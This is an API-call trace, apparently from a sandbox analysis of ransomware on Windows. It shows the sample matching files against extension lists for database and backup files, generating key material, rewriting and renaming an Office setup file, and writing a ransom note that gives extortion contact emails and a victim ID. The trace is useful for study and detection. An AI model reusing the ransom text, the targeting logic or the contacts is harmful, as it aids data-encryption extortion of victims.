	[0081.156] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".dbx") returned 0x0
	[0081.156] lstrlenW (lpString=".DB3") returned 4
	[0081.156] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".DB3") returned 0x0
	[0081.156] lstrlenW (lpString=".DAT") returned 4
	[0081.156] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".DAT") returned 0x0
	[0081.156] lstrlenW (lpString=".VHDX") returned 5
	[0081.156] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".VHDX") returned 0x0
	[0081.156] lstrlenW (lpString=".ndf") returned 4
	[0081.156] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".ndf") returned 0x0
	[0081.156] lstrlenW (lpString=".DB") returned 3
	[0081.156] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".DB") returned 0x0
	[0081.156] lstrlenW (lpString=".sql") returned 4
	[0081.156] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".sql") returned 0x0
	[0081.156] lstrlenW (lpString=".MYD") returned 4
	[0081.156] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".MYD") returned 0x0
	[0081.156] lstrlenW (lpString=".DBT") returned 4
	[0081.156] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".DBT") returned 0x0
	[0081.156] lstrlenW (lpString=".ACCDB") returned 6
	[0081.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".ACCDB") returned 0x0
	[0081.157] lstrlenW (lpString=".fdb") returned 4
	[0081.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".fdb") returned 0x0
	[0081.157] lstrlenW (lpString=".bak") returned 4
	[0081.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".bak") returned 0x0
	[0081.157] lstrlenW (lpString=".myd") returned 4
	[0081.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".myd") returned 0x0
	[0081.157] lstrlenW (lpString=".DTXS") returned 5
	[0081.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".DTXS") returned 0x0
	[0081.157] lstrlenW (lpString=".ckp") returned 4
	[0081.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".ckp") returned 0x0
	[0081.157] lstrlenW (lpString=".dbt") returned 4
	[0081.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".dbt") returned 0x0
	[0081.157] lstrlenW (lpString=".db") returned 3
	[0081.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".db") returned 0x0
	[0081.157] lstrlenW (lpString=".TXT") returned 4
	[0081.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".TXT") returned 0x0
	[0081.157] lstrlenW (lpString=".MDF") returned 4
	[0081.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".MDF") returned 0x0
	[0081.157] lstrlenW (lpString=".bdb") returned 4
	[0081.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".bdb") returned 0x0
	[0081.157] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0081.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.158] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0081.159] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.159] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0081.159] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0081.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3e46f0
	[0081.159] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20114921560) returned 1
	[0081.159] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9a38cdb0, dwHighDateTime=0x1d60e1e)) 
	[0081.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0081.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0081.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0081.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fac80
	[0081.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.159] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fac80 | out: hHeap=0x300000) returned 1
	[0081.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.160] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0081.160] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0081.160] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0081.160] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0081.160] GetLastError () returned 0x0
	[0081.160] GetLastError () returned 0x0
	[0081.160] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0081.160] GetLastError () returned 0x0
	[0081.161] GetLastError () returned 0x0
	[0081.161] ReadFile (in: hFile=0x120, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x24dfec0*=0x750, lpOverlapped=0x0) returned 1
	[0081.163] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff8b0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.163] WriteFile (in: hFile=0x120, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x750, lpOverlapped=0x0) returned 1
	[0081.163] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0081.163] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.163] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.163] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0081.163] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.164] CloseHandle (hObject=0x120) returned 1
	[0081.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x3ac250
	[0081.164] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.~~~~")) returned 1
	[0081.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac250 | out: hHeap=0x300000) returned 1
	[0081.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0081.165] GetLastError () returned 0x0
	[0081.165] RtlWakeConditionVariable () returned 0x365f70
	[0081.165] GetCurrentThreadId () returned 0x3a4
	[0081.165] GetCurrentThreadId () returned 0x3a4
	[0081.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0081.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28002f0 | out: hHeap=0x300000) returned 1
	[0081.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27faba0 | out: hHeap=0x300000) returned 1
	[0081.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x28002f0
	[0081.165] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0081.259] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0081.259] WriteFile (in: hFile=0x124, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0081.261] CloseHandle (hObject=0x124) returned 1
	[0081.261] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28002f0 | out: hHeap=0x300000) returned 1
	[0081.261] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fefe8 | out: hHeap=0x300000) returned 1
	[0081.261] RtlWakeConditionVariable () returned 0x365f70
	[0081.261] GetCurrentThreadId () returned 0x3a4
	[0081.261] GetCurrentThreadId () returned 0x3a4
	[0081.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0081.261] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2800778 | out: hHeap=0x300000) returned 1
	[0081.261] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa9e0 | out: hHeap=0x300000) returned 1
	[0081.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2800778
	[0081.261] lstrlenW (lpString=".scr") returned 4
	[0081.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".scr") returned 0x0
	[0081.262] lstrlenW (lpString=".cmd") returned 4
	[0081.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".cmd") returned 0x0
	[0081.262] lstrlenW (lpString=".dll") returned 4
	[0081.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".dll") returned 0x0
	[0081.262] lstrlenW (lpString=".bat") returned 4
	[0081.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".bat") returned 0x0
	[0081.262] lstrlenW (lpString=".cpl") returned 4
	[0081.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".cpl") returned 0x0
	[0081.262] lstrlenW (lpString=".sys") returned 4
	[0081.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".sys") returned 0x0
	[0081.262] lstrlenW (lpString=".msc") returned 4
	[0081.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".msc") returned 0x0
	[0081.262] lstrlenW (lpString=".com") returned 4
	[0081.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".com") returned 0x0
	[0081.262] lstrlenW (lpString=".lnk") returned 4
	[0081.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".lnk") returned 0x0
	[0081.262] lstrlenW (lpString=".msp") returned 4
	[0081.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".msp") returned 0x0
	[0081.262] lstrlenW (lpString=".pif") returned 4
	[0081.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".pif") returned 0x0
	[0081.262] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0081.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0081.263] lstrlenW (lpString=".sqb") returned 4
	[0081.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".sqb") returned 0x0
	[0081.263] lstrlenW (lpString=".ost") returned 4
	[0081.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".ost") returned 0x0
	[0081.263] lstrlenW (lpString=".txt") returned 4
	[0081.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".txt") returned 0x0
	[0081.263] lstrlenW (lpString=".mdt") returned 4
	[0081.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".mdt") returned 0x0
	[0081.263] lstrlenW (lpString=".BDB") returned 4
	[0081.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".BDB") returned 0x0
	[0081.263] lstrlenW (lpString=".eql") returned 4
	[0081.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".eql") returned 0x0
	[0081.263] lstrlenW (lpString=".DBF") returned 4
	[0081.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".DBF") returned 0x0
	[0081.264] lstrlenW (lpString=".EQL") returned 4
	[0081.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".EQL") returned 0x0
	[0081.264] lstrlenW (lpString=".FDB") returned 4
	[0081.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".FDB") returned 0x0
	[0081.264] lstrlenW (lpString=".EDB") returned 4
	[0081.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".EDB") returned 0x0
	[0081.264] lstrlenW (lpString=".DACPAC") returned 7
	[0081.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".DACPAC") returned 0x0
	[0081.264] lstrlenW (lpString=".VHD") returned 4
	[0081.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".VHD") returned 0x0
	[0081.264] lstrlenW (lpString=".DBV") returned 4
	[0081.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".DBV") returned 0x0
	[0081.264] lstrlenW (lpString=".dacpac") returned 7
	[0081.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".dacpac") returned 0x0
	[0081.264] lstrlenW (lpString=".sdf") returned 4
	[0081.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".sdf") returned 0x0
	[0081.264] lstrlenW (lpString=".accdb") returned 6
	[0081.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".accdb") returned 0x0
	[0081.264] lstrlenW (lpString=".DBX") returned 4
	[0081.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".DBX") returned 0x0
	[0081.264] lstrlenW (lpString=".MDT") returned 4
	[0081.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".MDT") returned 0x0
	[0081.265] lstrlenW (lpString=".SQB") returned 4
	[0081.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".SQB") returned 0x0
	[0081.265] lstrlenW (lpString=".vhd") returned 4
	[0081.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".vhd") returned 0x0
	[0081.265] lstrlenW (lpString=".bac") returned 4
	[0081.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".bac") returned 0x0
	[0081.265] lstrlenW (lpString=".mdf") returned 4
	[0081.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".mdf") returned 0x0
	[0081.265] lstrlenW (lpString=".BAK") returned 4
	[0081.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".BAK") returned 0x0
	[0081.265] lstrlenW (lpString=".BAC") returned 4
	[0081.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".BAC") returned 0x0
	[0081.265] lstrlenW (lpString=".dbs") returned 4
	[0081.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".dbs") returned 0x0
	[0081.265] lstrlenW (lpString=".vhdx") returned 5
	[0081.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".vhdx") returned 0x0
	[0081.265] lstrlenW (lpString=".NDF") returned 4
	[0081.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".NDF") returned 0x0
	[0081.265] lstrlenW (lpString=".dat") returned 4
	[0081.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".dat") returned 0x0
	[0081.265] lstrlenW (lpString=".DBS") returned 4
	[0081.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".DBS") returned 0x0
	[0081.266] lstrlenW (lpString=".CKP") returned 4
	[0081.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".CKP") returned 0x0
	[0081.266] lstrlenW (lpString=".edb") returned 4
	[0081.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".edb") returned 0x0
	[0081.266] lstrlenW (lpString=".PST") returned 4
	[0081.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".PST") returned 0x0
	[0081.266] lstrlenW (lpString=".dbf") returned 4
	[0081.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".dbf") returned 0x0
	[0081.266] lstrlenW (lpString=".SQL") returned 4
	[0081.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".SQL") returned 0x0
	[0081.266] lstrlenW (lpString=".pst") returned 4
	[0081.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".pst") returned 0x0
	[0081.266] lstrlenW (lpString=".dbv") returned 4
	[0081.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".dbv") returned 0x0
	[0081.266] lstrlenW (lpString=".SDF") returned 4
	[0081.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".SDF") returned 0x0
	[0081.266] lstrlenW (lpString=".dtxs") returned 5
	[0081.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".dtxs") returned 0x0
	[0081.266] lstrlenW (lpString=".db3") returned 4
	[0081.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".db3") returned 0x0
	[0081.266] lstrlenW (lpString=".OST") returned 4
	[0081.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".OST") returned 0x0
	[0081.266] lstrlenW (lpString=".dbx") returned 4
	[0081.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", lpSrch=".dbx") returned 0x0
	[0081.266] lstrlenW (lpString=".DB3") returned 4
